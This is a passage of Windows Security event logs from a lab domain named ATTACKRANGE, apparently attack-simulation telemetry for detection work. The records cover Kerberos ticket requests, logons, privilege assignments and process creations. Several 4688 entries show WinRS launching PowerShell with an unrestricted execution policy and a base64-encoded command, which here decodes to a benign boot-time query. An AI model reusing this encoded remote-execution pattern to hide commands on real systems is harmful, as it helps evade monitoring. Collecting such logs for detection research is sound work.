	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253520
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B8218

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf2c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaf0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253519
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B8218

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaf0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12a0
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253518
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B87E8

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253517
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B87E8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253516
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253515
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253514
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253513
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B8218

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12f4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12a0
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253512
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B8218

Process Information:
	New Process ID:		0x12a0
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253511
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B8218

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253510
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B8218
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253509
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253508
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253507
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253506
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B81D9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253505
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B46FA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253504
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B4CC8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253503
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B81D9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253502
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B81D9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253501
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253500
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253499
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253498
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B81B7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253497
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B81B7

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253496
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B81B7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253495
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:49 PM
LogName=Security
